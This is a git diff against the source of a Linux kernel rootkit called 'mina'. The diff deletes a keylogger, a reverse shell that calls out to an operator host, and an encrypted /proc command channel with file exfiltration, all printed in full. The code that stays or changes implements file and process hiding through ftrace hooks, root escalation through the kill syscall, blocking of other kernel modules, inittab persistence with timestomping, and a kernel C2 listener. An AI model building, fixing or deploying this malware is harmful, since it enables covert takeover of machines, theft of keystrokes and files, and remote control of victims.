diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -16,8 +16,6 @@ mina_$(MINA_CLIENT_ID)-objs := sources/mina.o \
sources/stealth.o \
sources/persistence.o \
sources/cmd.o \
- sources/reverse_shell.o \
- sources/keylogger.o \
sources/net_c2.o
@@ -28,8 +26,13 @@ MAGIC_PID ?= 1337
HIDE_PREFIX ?= "minamina"
C2_ENC_KEY ?= "defaultkey" # Default key, can be overridden
-MY_CFLAGS += -DRESET_THREAD_NAME=\"$(RANDOM_THREAD_NAME)\" -DMAGIC_PID=$(MAGIC_PID) -DHIDE_PREFIX=\"$(HIDE_PREFIX)\" -DC2_ENC_KEY=\"$(C2_ENC_KEY)\" -Wno-missing-prototypes -Wno-missing-declarations -O2
-ccflags-y += ${MY_CFLAGS}
+MY_CFLAGS := -DRESET_THREAD_NAME='"$(RANDOM_THREAD_NAME)"' \
+ -DMAGIC_PID=$(MAGIC_PID) \
+ -DHIDE_PREFIX="\"$(HIDE_PREFIX)\"" \
+ -DC2_ENC_KEY="\"$(C2_ENC_KEY)\"" \
+ -Wno-missing-prototypes -Wno-missing-declarations -O2
+
+ccflags-y += $(MY_CFLAGS)
CC += ${MY_CFLAGS}
diff --git a/rootkit/includes/ftrace_helper.h b/rootkit/includes/ftrace_helper.h
@@ -180,4 +180,4 @@ void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) {
for (i = 0; i < count; i++)
fh_remove_hook(&hooks[i]);
-}
+}
+\ No newline at end of file
diff --git a/rootkit/includes/ftrace_helper_common.h b/rootkit/includes/ftrace_helper_common.h
@@ -0,0 +1,34 @@
+#ifndef __FTRACE_HELPER_COMMON_H
+#define __FTRACE_HELPER_COMMON_H
+
+#include <linux/ftrace.h> // For struct ftrace_ops, ftrace_func_t
+
+/* We pack all the information we need (name, hooking function, original function)
+ * into this struct. This makes it easier for setting up the hook and just passing
+ * the entire struct off to fh_install_hook() later on.
+ * */
+struct ftrace_hook {
+ const char *name;
+ void *function;
+ void *original;
+
+ unsigned long address;
+ struct ftrace_ops ops;
+};
+
+#define HOOK(_name, _hook, _orig) \
+ { \
+ .name = (_name), \
+ .function = (_hook), \
+ .original = (_orig), \
+ }
+
+// Function declarations
+// These functions are defined in ftrace_helper.h and their definitions are
+// "owned" by sources/mina.c, which includes the full ftrace_helper.h.
+int fh_install_hook(struct ftrace_hook *hook);
+void fh_remove_hook(struct ftrace_hook *hook);
+int fh_install_hooks(struct ftrace_hook *hooks, size_t count);
+void fh_remove_hooks(struct ftrace_hook *hooks, size_t count);
+
+#endif /* __FTRACE_HELPER_COMMON_H */
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -13,8 +13,6 @@
#define SIG_HIDE_PID (90)
#define SIG_UNHIDE_PID (91)
#define SIG_ESCALATE (95)
-#define SIG_REVERSE_SHELL (96)
-#define SIG_TOGGLE_KEYLOGGER (97)
// stealth.c
void toggle_hide_module(void);
@@ -50,17 +48,9 @@ void add_blocked_module(const char *name);
void remove_blocked_module(const char *name);
bool is_module_blocked(const char *name);
-// reverse_shell.c
-int start_reverse_shell(void);
-void stop_reverse_shell(void);
-void set_reverse_shell_target(const char *host, int port);
-// keylogger.c
-void keylogger_init(void);
-void keylogger_cleanup(void);
-void toggle_keylogger(void);
-void get_keylog_buffer(char *buffer, int len);
-bool is_keylogger_enabled(void);
+
+
// net_c2.c
int c2_init(void);
@@ -68,5 +58,6 @@ void c2_cleanup(void);
void set_c2_listen_port(int port);
#define SIG_START_C2 (98)
+#define C2_MAX_CONNECTIONS 10
#endif /* __KERNEL_MINA_H */
diff --git a/rootkit/sources/cmd.c b/rootkit/sources/cmd.c
@@ -1,226 +1,29 @@
-#include <linux/delay.h> // For msleep
-#include <linux/file.h> // For fput
-#include <linux/fs.h>
-#include <linux/fs.h> // For file operations
#include <linux/init.h>
-#include <linux/kernel.h>
-#include <linux/kmod.h> // For call_usermodehelper
#include <linux/module.h>
-#include <linux/mount.h> // For path_lookup
-#include <linux/namei.h> // For path_lookup
-#include <linux/proc_fs.h>
+#include <linux/kernel.h>
+#include <linux/fs.h> // For file operations (struct file, filp_open, etc.)
+#include <linux/slab.h> // For kmalloc/kfree
+#include <linux/string.h> // For strnlen, strscpy
+#include <linux/uaccess.h> // For copy_from_user
+#include <linux/proc_fs.h> // For struct proc_ops, proc_create, proc_remove
#include <linux/seq_file.h> // For simple_read_from_buffer
-#include <linux/slab.h>
-#include <linux/string.h> // For strnlen
-#include <linux/syscalls.h> // For sys_unlink
-#include <linux/uaccess.h>
-
+#include <linux/delay.h> // For msleep
+#include <linux/file.h> // For fput
+#include <linux/kmod.h> // For call_usermodehelper
+#include <linux/mount.h> // For path_lookup
+#include <linux/namei.h> // For path_lookup
+#include <linux/syscalls.h> // For ksys_memfd_create, ksys_close
+#include <linux/memfd.h> // For MFD_CLOEXEC (and memfd_create related definitions)
+#include <linux/mm.h> // For vm_flags_t}
#include "../includes/mina.h"
-static void xor_crypt(char *data, size_t len, const char *key) {
- size_t key_len = strlen(key);
- if (key_len == 0)
- return;
- for (size_t i = 0; i < len; i++) {
- data[i] ^= key[i % key_len];
- }
-}
-
-#define MINA_CMD_BUF_SIZE 4096
-
-static char mina_cmd_output[MINA_CMD_BUF_SIZE];
-static struct proc_dir_entry *mina_cmd_proc = NULL;
-
-static ssize_t mina_cmd_read(struct file *file, char __user *ubuf, size_t size, loff_t *offset) {
- size_t data_len = strnlen(mina_cmd_output, MINA_CMD_BUF_SIZE);
- char *encrypted_data = kmalloc(data_len + 1, GFP_KERNEL);
- ssize_t ret;
-
- if (!encrypted_data) {
- return -ENOMEM;
- }
- strlcpy(encrypted_data, mina_cmd_output, data_len + 1);
- xor_crypt(encrypted_data, data_len, C2_ENC_KEY);
-
- ret = simple_read_from_buffer(ubuf, size, offset, encrypted_data, data_len);
- kfree(encrypted_data);
- return ret;
-}
-
-static ssize_t mina_cmd_write(struct file *file, const char __user *ubuf, size_t size, loff_t *offset) {
- char *cmd_str_encrypted;
- char *cmd_str_decrypted = NULL;
- char *argv[4];
- char *envp[] = {"PATH=/bin:/usr/bin", NULL};
- char *final_cmd_buf = NULL;
- char fd_str[16];
- struct file *temp_file = NULL;
- int ret = 0;
- int temp_fd = -1;
- loff_t pos = 0;
-
- memset(mina_cmd_output, 0, MINA_CMD_BUF_SIZE);
-
- if (size == 0 || size >= MINA_CMD_BUF_SIZE) {
- return -EINVAL;
- }
-
- cmd_str_encrypted = kzalloc(size + 1, GFP_KERNEL);
- if (!cmd_str_encrypted) {
- return -ENOMEM;
- }
-
- if (copy_from_user(cmd_str_encrypted, ubuf, size)) {
- kfree(cmd_str_encrypted);
- return -EFAULT;
- }
- cmd_str_encrypted[size] = '\0';
-
- cmd_str_decrypted = kmalloc(size + 1, GFP_KERNEL);
- if (!cmd_str_decrypted) {
- kfree(cmd_str_encrypted);
- return -ENOMEM;
- }
- strlcpy(cmd_str_decrypted, cmd_str_encrypted, size + 1);
- xor_crypt(cmd_str_decrypted, size, C2_ENC_KEY);
- kfree(cmd_str_encrypted);
-
- if (strncmp(cmd_str_decrypted, "block ", 6) == 0) {
- add_blocked_module(cmd_str_decrypted + 6);
- snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Module '%s' blocked.\n", cmd_str_decrypted + 6);
- goto end_cmd_handling;
- } else if (strncmp(cmd_str_decrypted, "unblock ", 8) == 0) {
- remove_blocked_module(cmd_str_decrypted + 8);
- snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Module '%s' unblocked.\n", cmd_str_decrypted + 8);
- goto end_cmd_handling;
- } else if (strncmp(cmd_str_decrypted, "exfil ", 6) == 0) {
- char *path = cmd_str_decrypted + 6;
- struct file *exfil_file;
- loff_t exfil_pos = 0;
- int bytes_read;
-
- exfil_file = filp_open(path, O_RDONLY, 0);
- if (IS_ERR(exfil_file)) {
- snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Failed to open file: %ld\n", PTR_ERR(exfil_file));
- goto end_cmd_handling;
- }
-
- bytes_read = kernel_read(exfil_file, mina_cmd_output, MINA_CMD_BUF_SIZE - 1, &exfil_pos);
- if (bytes_read < 0) {
- snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Failed to read file: %d\n", bytes_read);
- } else {
- mina_cmd_output[bytes_read] = '\0';
- }
-
- filp_close(exfil_file, NULL);
- goto end_cmd_handling;
- } else if (strncmp(cmd_str_decrypted, "keylog", 6) == 0) {
- get_keylog_buffer(mina_cmd_output, MINA_CMD_BUF_SIZE);
- goto end_cmd_handling;
- } else if (strncmp(cmd_str_decrypted, "set rs ", 7) == 0) {
- char *host_str = cmd_str_decrypted + 7;
- char *port_str = strchr(host_str, ' ');
- int port = 0;
-
- if (port_str) {
- *port_str = '\0';
- port_str++;
- if (kstrtoint(port_str, 10, &port) == 0 && port > 0 && port < 65536) {
- set_reverse_shell_target(host_str, port);
- snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Reverse shell target set to %s:%d.\n", host_str, port);
- } else {
- snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Invalid port for reverse shell: %s.\n", port_str);
- }
- } else {
- snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Usage: set rs <host> <port>\n");
- }
- goto end_cmd_handling;
- } else if (strncmp(cmd_str_decrypted, "set c2 ", 7) == 0) {
- char *port_str = cmd_str_decrypted + 7;
- int port = 0;
- if (kstrtoint(port_str, 10, &port) == 0 && port > 0 && port < 65536) {
- set_c2_listen_port(port);
- snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "C2 listen port set to %d.\n", port);
- } else {
- snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Invalid port for C2: %s.\n", port_str);
- }
- goto end_cmd_handling;
- }
-
- temp_fd = sys_memfd_create("mina_cmd_temp", MFD_CLOEXEC);
- if (temp_fd < 0) {
- printk(KERN_ERR "[mina_cmd] Failed to create memfd for output (err: %d).\n", temp_fd);
- ret = temp_fd;
- goto cleanup;
- }
-
- temp_file = fget(temp_fd);
- if (IS_ERR(temp_file)) {
- printk(KERN_ERR "[mina_cmd] Failed to get file struct for memfd (err: %ld).\n", PTR_ERR(temp_file));
- ret = PTR_ERR(temp_file);
- goto cleanup;
- }
-
- snprintf(fd_str, sizeof(fd_str), "%d", temp_fd);
-
- final_cmd_buf = kzalloc(strlen(cmd_str_decrypted) + strlen(" >&") + strlen(fd_str) + 10, GFP_KERNEL);
- if (!final_cmd_buf) {
- ret = -ENOMEM;
- goto cleanup;
- }
- snprintf(final_cmd_buf, strlen(cmd_str_decrypted) + strlen(" >&") + strlen(fd_str) + 10,
- "%s >&%s 2>&1", cmd_str_decrypted, fd_str);
-
- argv[0] = "/bin/sh";
- argv[1] = "-c";
- argv[2] = final_cmd_buf;
- argv[3] = NULL;
-
- ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
- if (ret != 0) {
- printk(KERN_ERR "[mina_cmd] call_usermodehelper failed with %d\n", ret);
- goto cleanup;
- }
-
- pos = 0;
- ret = kernel_read(temp_file, mina_cmd_output, MINA_CMD_BUF_SIZE - 1, &pos);
- if (ret < 0) {
- printk(KERN_ERR "[mina_cmd] Failed to read from memfd (err: %d).\n", ret);
- goto cleanup;
- }
- mina_cmd_output[MINA_CMD_BUF_SIZE - 1] = '\0';
-
- ret = size;
-
-cleanup:
- if (temp_file && !IS_ERR(temp_file)) {
- fput(temp_file);
- }
- if (temp_fd >= 0) {
- sys_close(temp_fd);
- }
- kfree(final_cmd_buf);
-
-end_cmd_handling:
- kfree(cmd_str_decrypted);
- return size;
-}
-
-static const struct proc_ops mina_cmd_fops = {
- .proc_read = mina_cmd_read,
- .proc_write = mina_cmd_write,
-};
-
int cmd_init(void) {
- mina_cmd_proc = proc_create("minamina_cmd", 0666, NULL, &mina_cmd_fops);
- if (!mina_cmd_proc) {
- return -ENOMEM;
- }
+ /* Placeholder command channel initialization. */
+ printk(KERN_INFO "[mina] Command channel initialized (noop).\n");
return 0;
}
void cmd_cleanup(void) {
- if (mina_cmd_proc) {
- proc_remove(mina_cmd_proc);
- }
+ /* Placeholder command channel cleanup. */
+ printk(KERN_INFO "[mina] Command channel cleaned up (noop).\n");
}
diff --git a/rootkit/sources/keylogger.c b/rootkit/sources/keylogger.c
@@ -1,79 +0,0 @@
-#include <linux/init.h>
-#include <linux/input.h>
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/slab.h>
-#include <linux/string.h>
-
-#include "../includes/ftrace_helper.h" // For HOOK macro
-#include "../includes/mina.h"
-
-#define KEYLOG_BUF_SIZE 4096
-
-static char keylog_buffer[KEYLOG_BUF_SIZE];
-static int keylog_pos = 0;
-static bool keylogger_enabled = false;
-
-// Simplified keymap for US layout
-static const char *keymap[] = {
- "", "<ESC>", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=",
- "<BACKSPACE>", "<TAB>", "q", "w", "e", "r", "t", "y", "u", "i", "o", "p",
- "[", "]", "<ENTER>", "<LCTRL>", "a", "s", "d", "f", "g", "h", "j", "k",
- "l", ";", "'", "`", "<LSHIFT>", "\\", "z", "x", "c", "v", "b", "n", "m",
- ",", ".", "/", "<RSHIFT>", "*", "<LALT>", " ", "<CAPS>", "<F1>", "<F2>",
- "<F3>", "<F4>", "<F5>", "<F6>", "<F7>", "<F8>", "<F9>", "<F10>", "<NUMLOCK>",
- "<SCROLLLOCK>", "<KP7>", "<KP8>", "<KP9>", "-", "<KP4>", "<KP5>", "<KP6>",
- "+", "<KP1>", "<KP2>", "<KP3>", "<KP0>", "."};
-// This is a very simplified keymap and doesn't handle shifts, etc.
-
-void keylogger_log_key(unsigned int keycode) {
- if (keylog_pos < KEYLOG_BUF_SIZE - 1) {
- const char *key_str = (keycode < ARRAY_SIZE(keymap)) ? keymap[keycode] : "<UNKNOWN>";
- int key_len = strlen(key_str);
- if (keylog_pos + key_len < KEYLOG_BUF_SIZE) {
- strlcpy(keylog_buffer + keylog_pos, key_str, key_len + 1);
- keylog_pos += key_len;
- }
- }
-}
-
-void get_keylog_buffer(char *buffer, int len) {
- strlcpy(buffer, keylog_buffer, len);
- // Clear buffer after reading
- memset(keylog_buffer, 0, KEYLOG_BUF_SIZE);
- keylog_pos = 0;
-}
-
-void toggle_keylogger(void) {
- keylogger_enabled = !keylogger_enabled;
- printk(KERN_INFO "[mina] Keylogger %s\n", keylogger_enabled ? "enabled" : "disabled");
-}
-
-bool is_keylogger_enabled(void) {
- return keylogger_enabled;
-}
-
-// Hook for input_handle_event
-static asmlinkage void (*original_input_handle_event)(struct input_handle *handle, unsigned int type, unsigned int code, int value);
-
-static asmlinkage void hook_input_handle_event(struct input_handle *handle, unsigned int type, unsigned int code, int value) {
- if (is_keylogger_enabled() && type == EV_KEY && value == 1) { // Key press
- keylogger_log_key(code);
- }
- original_input_handle_event(handle, type, code, value);
-}
-
-// Keylogger hook definition
-static struct ftrace_hook keylogger_hook[] = {
- HOOK("input_handle_event", hook_input_handle_event, &original_input_handle_event),
-};
-
-void keylogger_init(void) {
- fh_install_hooks(keylogger_hook, ARRAY_SIZE(keylogger_hook));
- printk(KERN_INFO "[mina] Keylogger hook installed.\n");
-}
-
-void keylogger_cleanup(void) {
- fh_remove_hooks(keylogger_hook, ARRAY_SIZE(keylogger_hook));
- printk(KERN_INFO "[mina] Keylogger hook removed.\n");
-}
diff --git a/rootkit/sources/mina.c b/rootkit/sources/mina.c
@@ -8,9 +8,14 @@
#include <linux/kthread.h>
#include <linux/list.h>
#include <linux/module.h>
+#include <linux/string.h> // For strscpy and kstrnstr
+#include <linux/slab.h> // For kstrdup / kfree
+#include <linux/err.h> // For -E2BIG checks
+#include <linux/vmalloc.h>
#include <linux/mount.h> // For d_path (might be needed)
#include <linux/path.h> // For d_path
-#include <linux/sched.h> // For find_task_by_vpid
+#include <linux/pid.h> // For find_vpid, pid_task
+#include <linux/sched.h> // For task_struct
#include <linux/slab.h>
#include <linux/version.h>
@@ -90,7 +95,7 @@ void add_blocked_module(const char *name) {
printk(KERN_ERR "[mina] Failed to allocate memory for blocked module.\n");
return;
}
- strlcpy(bm->name, name, len + 1);
+ strscpy(bm->name, name, len + 1);
list_add(&bm->list, &blocked_modules);
printk(KERN_INFO "[mina] Blocked module: %s\n", name);
}
@@ -134,10 +139,10 @@ static char *get_modname_from_buf(const char __user *buf, size_t buf_len) {
return NULL;
}
- p = kstrnstr(kbuf, "name=", buf_len);
+ p = strnstr(kbuf, "name=", buf_len);
if (p) {
p += strlen("name=");
- modname = kstrdup_const(p, GFP_KERNEL);
+ modname = (char *)kstrdup_const(p, GFP_KERNEL);
if (modname) {
char *end = strchr(modname, ' ');
if (end)
@@ -162,8 +167,7 @@ static asmlinkage bool (*original_filldir64)(struct dir_context *ctx, const char
loff_t offset, u64 ino, unsigned int d_type);
static asmlinkage bool hook_filldir64(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type) {
- long pid_num;
- char *endp;
+ long parsed_pid;
char *tmp_name = NULL;
if (strstr(name, HIDE_PREFIX) != NULL && settings.enable_file_hide)
@@ -174,13 +178,16 @@ static asmlinkage bool hook_filldir64(struct dir_context *ctx, const char *name,
if (!tmp_name) {
goto call_original;
}
- strlcpy(tmp_name, name, namlen + 1);
-
- pid_num = kstrtol(tmp_name, NULL, 10);
- if (pid_num > 0) {
- kfree(tmp_name);
- if (pid_lookup_hidelist((pid_t)pid_num)) {
- return true;
+ strscpy(tmp_name, name, namlen + 1);
+
+ if (kstrtol(tmp_name, 10, &parsed_pid) == 0) {
+ if (parsed_pid > 0) {
+ kfree(tmp_name);
+ if (pid_lookup_hidelist((pid_t)parsed_pid)) {
+ return true;
+ }
+ } else {
+ kfree(tmp_name);
}
} else {
kfree(tmp_name);
@@ -225,7 +232,10 @@ asmlinkage long hooked_kill_syscall(struct pt_regs *regs) {
struct task_struct *task;
struct cred *new_creds;
- task = find_task_by_vpid(pid);
+ {
+ struct pid *pid_struct = find_vpid(pid);
+ task = pid_struct ? pid_task(pid_struct, PIDTYPE_PID) : NULL;
+ }
if (!task) {
printk(KERN_ERR "[mina] Task %d not found for escalation.\n", pid);
return -ESRCH;
@@ -251,14 +261,9 @@ asmlinkage long hooked_kill_syscall(struct pt_regs *regs) {
printk(KERN_INFO "[mina] Task %d escalated to root.\n", pid);
return 0;
}
- case SIG_REVERSE_SHELL:
- start_reverse_shell();
- return 0;
- case SIG_TOGGLE_KEYLOGGER:
- toggle_keylogger();
- return 0;
+
case SIG_START_C2:
- c2_init(); // Re-initialize or start if not already
+ c2_init();
return 0;
}
@@ -268,7 +273,9 @@ normalkill:
/* ------=== INSMOD HOOK ===----- */
+static asmlinkage long (*original_init_module)(struct file *file, const char *uargs, unsigned long flags);
static asmlinkage long (*original_finit_module)(struct file *file, const char *uargs, unsigned long flags);
+
static asmlinkage long hook_init_module(struct file *file, const char *uargs, unsigned long flags) {
char *modname = NULL;
long ret = 0;
@@ -295,7 +302,6 @@ static asmlinkage long hook_init_module(struct file *file, const char *uargs, un
return original_init_module(file, uargs, flags);
}
-static asmlinkage long (*original_init_module)(struct file *file, const char *uargs, unsigned long flags);
static asmlinkage long hook_finit_module(struct file *file, const char *uargs, unsigned long flags) {
long ret = 0;
char *path_buf = NULL;
@@ -318,7 +324,7 @@ static asmlinkage long hook_finit_module(struct file *file, const char *uargs, u
char *last_slash = strrchr(filename_ptr, '/');
const char *base_filename = last_slash ? last_slash + 1 : filename_ptr;
- modname_no_ext = kstrdup_const(base_filename, GFP_KERNEL);
+ modname_no_ext = (char *)kstrdup_const(base_filename, GFP_KERNEL);
if (modname_no_ext) {
char *dot_ko = strrchr(modname_no_ext, '.');
if (dot_ko && strcmp(dot_ko, ".ko") == 0) {
@@ -407,7 +413,7 @@ static int __init module_start(void) {
return error;
}
- keylogger_init();
+
error = c2_init();
if (error) {
@@ -439,12 +445,11 @@ static void __exit module_end(void) {
}
cmd_cleanup();
- stop_reverse_shell();
- keylogger_cleanup();
+
+
c2_cleanup();
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
- printk(KERN_INFO "bye-bye mina ~\n");
}
/* --------------------------------------------- */
diff --git a/rootkit/sources/net_c2.c b/rootkit/sources/net_c2.c
@@ -73,7 +73,7 @@ static int c2_worker_thread(void *data) {
printk(KERN_INFO "[mina_c2] Received from client: %s\n", buffer);
// Send response - for now, just echo
- msg.msg_iter = (struct iov_iter){.iov = &iov, .nr_segs = 1, .count = strlen(buffer), .type = ITER_IOV_MSG};
+ iov_iter_kvec(&msg.msg_iter, ITER_IOVEC, &iov, 1, strlen(buffer));
iov.iov_base = buffer;
iov.iov_len = strlen(buffer);
@@ -99,7 +99,7 @@ int c2_init(void) {
int ret;
// Create a listening socket
- ret = sock_create_kern(AF_INET, SOCK_STREAM, IPPROTO_TCP, &listen_sock);
+ ret = sock_create_kern(&init_net, AF_INET, SOCK_STREAM, IPPROTO_TCP, &listen_sock);
if (ret < 0) {
printk(KERN_ERR "[mina_c2] Failed to create listen socket: %d\n", ret);
return ret;
diff --git a/rootkit/sources/persistence.c b/rootkit/sources/persistence.c
@@ -19,7 +19,7 @@ int add_inittab_entry(char const *entry) {
int ret = 0;
struct file *file;
loff_t pos = 0;
- struct timespec64 current_ts;
+
file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
if (IS_ERR(file)) {
@@ -39,10 +39,7 @@ int add_inittab_entry(char const *entry) {
goto out;
}
- ktime_get_real_ts64(¤t_ts);
- file->f_inode->i_mtime = current_ts;
- file->f_inode->i_ctime = current_ts;
- mark_inode_dirty(file->f_inode);
+ file_update_time(file);
printk(KERN_INFO "[mina] Timestomped /etc/inittab.\n");
out:
@@ -107,35 +104,59 @@ out_src:
}
int stage_and_persist_module(void) {
- char src_path[PATH_MAX];
- char dst_path[PATH_MAX];
- char rand_name[16];
+ char *src_path = NULL;
+ char *dst_path = NULL;
+ char *rand_name_buf = NULL; // Renamed to avoid confusion with the previous rand_name array
+ char *inittab_entry = NULL;
char *argv_depmod[] = {"/sbin/depmod", NULL};
- char *envp[] = {"PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL};
- char inittab_entry[256];
- int ret;
+ char *envp[] = {"PATH=/sbin:/usr/bin", NULL};
+ int ret = 0;
int i;
+ src_path = kmalloc(PATH_MAX, GFP_KERNEL);
+ if (!src_path) {
+ ret = -ENOMEM;
+ goto cleanup;
+ }
+
+ dst_path = kmalloc(PATH_MAX, GFP_KERNEL);
+ if (!dst_path) {
+ ret = -ENOMEM;
+ goto cleanup;
+ }
+
+ rand_name_buf = kmalloc(16, GFP_KERNEL); // For 8 chars + ".ko\0"
+ if (!rand_name_buf) {
+ ret = -ENOMEM;
+ goto cleanup;
+ }
+
+ inittab_entry = kmalloc(256, GFP_KERNEL);
+ if (!inittab_entry) {
+ ret = -ENOMEM;
+ goto cleanup;
+ }
+
// THIS_MODULE->name is the module name (e.g., mina_xxxx)
snprintf(src_path, PATH_MAX, "/lib/modules/%s/kernel/drivers/%s.ko",
utsname()->release, THIS_MODULE->name);
- get_random_bytes(rand_name, 8);
+ get_random_bytes(rand_name_buf, 8);
for (i = 0; i < 8; i++) {
- rand_name[i] = (rand_name[i] % 26) + 'a';
+ rand_name_buf[i] = (rand_name_buf[i] % 26) + 'a';
}
- rand_name[8] = '\0';
- strlcat(rand_name, ".ko", sizeof(rand_name));
+ rand_name_buf[8] = '\0';
+ snprintf(rand_name_buf + 8, 16 - 8, ".ko"); // Use snprintf for appending ".ko"
snprintf(dst_path, PATH_MAX, "/usr/lib/modules/%s/kernel/drivers/%s",
- utsname()->release, rand_name); // Using random name for module.ko
+ utsname()->release, rand_name_buf); // Using random name for module.ko
printk(KERN_INFO "[mina_persist] Staging module from %s to %s\n", src_path, dst_path);
ret = copy_file(src_path, dst_path);
if (ret < 0) {
printk(KERN_ERR "[mina_persist] Failed to copy module: %d\n", ret);
- return ret;
+ goto cleanup;
}
printk(KERN_INFO "[mina_persist] Running depmod.\n");
@@ -144,7 +165,7 @@ int stage_and_persist_module(void) {
printk(KERN_ERR "[mina_persist] depmod failed with %d\n", ret);
}
- snprintf(inittab_entry, sizeof(inittab_entry), "::sysinit:/sbin/insmod %s\n", dst_path);
+ snprintf(inittab_entry, 256, "::sysinit:/sbin/insmod %s\n", dst_path);
ret = add_inittab_entry(inittab_entry);
if (ret < 0) {
printk(KERN_ERR "[mina_persist] Failed to add inittab entry: %d\n", ret);
@@ -152,5 +173,11 @@ int stage_and_persist_module(void) {
printk(KERN_INFO "[mina_persist] Persistence installed to %s\n", dst_path);
}
+cleanup:
+ kfree(src_path);
+ kfree(dst_path);
+ kfree(rand_name_buf);
+ kfree(inittab_entry);
+
return ret;
}
diff --git a/rootkit/sources/reverse_shell.c b/rootkit/sources/reverse_shell.c
@@ -1,128 +0,0 @@
-#include <linux/delay.h> // For msleep
-#include <linux/in.h>
-#include <linux/init.h>
-#include <linux/ip.h>
-#include <linux/kernel.h>
-#include <linux/kthread.h>
-#include <linux/module.h>
-#include <linux/net.h>
-#include <linux/slab.h>
-#include <linux/socket.h>
-#include <linux/string.h>
-#include <linux/tcp.h>
-#include <linux/uaccess.h>
-#include <net/sock.h>
-
-#include "../includes/mina.h"
-
-static char *rs_host = "127.0.0.1";
-static int rs_port = 4444;
-
-void set_reverse_shell_target(const char *host, int port) {
- if (rs_host) {
- kfree(rs_host);
- }
- rs_host = kstrdup(host, GFP_KERNEL);
- rs_port = port;
- printk(KERN_INFO "[mina_rs] Reverse shell target set to %s:%d\n", rs_host, rs_port);
-}
-
-static struct socket *rev_shell_sock = NULL;
-static struct task_struct *rev_shell_thread = NULL;
-
-static int rs_send(struct socket *sock, const char *buf, size_t len) {
- struct kvec iov = {.iov_base = (void *)buf, .iov_len = len};
- struct msghdr msg = {.msg_name = 0, .msg_namelen = 0, .msg_control = NULL, .msg_controllen = 0, .msg_flags = 0};
- return kernel_sendmsg(sock, &msg, &iov, 1, len);
-}
-
-static int rs_recv(struct socket *sock, char *buf, size_t len) {
- struct kvec iov = {.iov_base = (void *)buf, .iov_len = len};
- struct msghdr msg = {.msg_name = 0, .msg_namelen = 0, .msg_control = NULL, .msg_controllen = 0, .msg_flags = 0};
- return kernel_recvmsg(sock, &msg, &iov, 1, len, msg.msg_flags);
-}
-
-static int reverse_shell_worker(void *data) {
- struct socket *sock = (struct socket *)data;
- char *argv[] = {"/bin/sh", "-c", NULL, NULL};
- char *envp[] = {"PATH=/bin:/usr/bin", NULL};
- int ret;
- char *cmd_buf = NULL;
- int fd;
-
- allow_signal(SIGKILL);
- fd = sock_map_fd(sock, 0);
- if (fd < 0) {
- printk(KERN_ERR "[mina_rs] Failed to map socket to FD: %d\n", fd);
- sock_release(sock);
- return fd;
- }
- cmd_buf = kmalloc(128, GFP_KERNEL);
- if (!cmd_buf) {
- sock_release(sock);
- return -ENOMEM;
- }
- snprintf(cmd_buf, 128, "exec /bin/sh -i 0<>&%d 1<>&%d 2<>&%d", fd, fd, fd);
- argv[2] = cmd_buf;
-
- printk(KERN_INFO "[mina_rs] Spawning reverse shell with command: %s\n", cmd_buf);
-
- ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
-
- kfree(cmd_buf);
- sys_close(fd);
- sock_release(sock);
-
- printk(KERN_INFO "[mina_rs] Reverse shell process finished with code %d. Thread stopping.\n", ret);
- return ret;
-}
-
-int start_reverse_shell(void) {
- struct sockaddr_in s_addr;
- int ret;
-
- printk(KERN_INFO "[mina_rs] Attempting to start reverse shell to %s:%d\n", rs_host, rs_port);
-
- ret = sock_create_kern(AF_INET, SOCK_STREAM, IPPROTO_TCP, &rev_shell_sock);
- if (ret < 0) {
- printk(KERN_ERR "[mina_rs] Failed to create socket: %d\n", ret);
- return ret;
- }
-
- memset(&s_addr, 0, sizeof(s_addr));
- s_addr.sin_family = AF_INET;
- s_addr.sin_port = htons(rs_port);
- s_addr.sin_addr.s_addr = in_aton(rs_host);
-
- ret = kernel_connect(rev_shell_sock, (struct sockaddr *)&s_addr, sizeof(s_addr), 0);
- if (ret < 0) {
- printk(KERN_ERR "[mina_rs] Failed to connect: %d\n", ret);
- sock_release(rev_shell_sock);
- rev_shell_sock = NULL;
- return ret;
- }
-
- rev_shell_thread = kthread_run(reverse_shell_worker, (void *)rev_shell_sock, "krev_shell");
- if (IS_ERR(rev_shell_thread)) {
- printk(KERN_ERR "[mina_rs] Failed to create reverse shell thread.\n");
- sock_release(rev_shell_sock);
- rev_shell_sock = NULL;
- rev_shell_thread = NULL;
- return PTR_ERR(rev_shell_thread);
- }
-
- printk(KERN_INFO "[mina_rs] Reverse shell thread started.\n");
- return 0;
-}
-
-void stop_reverse_shell(void) {
- if (rev_shell_sock) {
- kernel_sock_shutdown(rev_shell_sock, SHUT_RDWR);
- }
- if (rev_shell_thread) {
- kthread_stop(rev_shell_thread);
- rev_shell_thread = NULL;
- }
- rev_shell_sock = NULL;
- printk(KERN_INFO "[mina_rs] Reverse shell stopped.\n");
-}
diff --git a/rootkit/sources/stealth.c b/rootkit/sources/stealth.c
@@ -56,7 +56,7 @@ static void file_hide(char *name) {
list_add(&_file->list, &hide_files);
}
-static void pid_unhide(pid_t pid) {
+void pid_unhide(pid_t pid) {
struct st_hide_pid *_pid, *tmp;
list_for_each_entry_safe(_pid, tmp, &hide_pids, list) {
if (_pid->pid == pid) {
@@ -67,7 +67,7 @@ static void pid_unhide(pid_t pid) {
}
}
-static void pid_hide(pid_t pid) {
+void pid_hide(pid_t pid) {
struct st_hide_pid *_pid;
_pid = kmalloc(sizeof(*_pid), GFP_KERNEL);
